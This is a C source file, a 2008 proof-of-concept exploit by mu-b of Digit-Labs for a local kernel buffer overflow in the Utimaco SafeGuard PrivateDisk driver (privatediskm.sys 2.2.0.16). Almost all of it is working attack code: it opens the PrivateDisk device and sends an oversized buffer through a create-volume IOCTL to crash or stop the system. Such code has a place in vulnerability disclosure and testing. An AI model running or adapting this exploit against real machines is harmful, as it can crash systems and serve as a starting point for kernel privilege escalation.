/* safeguard-pdisk-overflow.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Utimaco Safeware AG - SafeGuard PrivateDisk local kernel overflow POC
 * by mu-b - Wed 05 Mar 2008
 *
 * - Tested on: privatediskm.sys 2.2.0.16
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>

#define SGPD_CREATE_VOLUME_IOCTL  0x00072000

struct ioctl_req {
  int  session_id;
  char is_removable;
  char is_floppy;
  char volume_buf[0x236];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  DWORD rlen, i;
  HANDLE hFile;
  BOOL result;

  printf ("Utimaco Safeware AG - SafeGuard PrivateDisk local kernel overflow PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\PrivateDisk", GENERIC_READ,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0, sizeof req);
  for (i = 0; i < sizeof req.volume_buf - 4; i += 2)
    {
      req.volume_buf[i] = 0x41 + ((i % 26) / 2);
      req.volume_buf[i+1] = 0x00;
    }

  printf ("hitting...\n");

  Sleep (4000);
  result = DeviceIoControl (hFile, SGPD_CREATE_VOLUME_IOCTL,
                            &req, sizeof req,
                            &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed, 0x%08X\n", GetLastError ());
    }

  printf ("* hmmm, you didn't STOP the box?!?! rlen: 0x%08X\n", rlen);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}
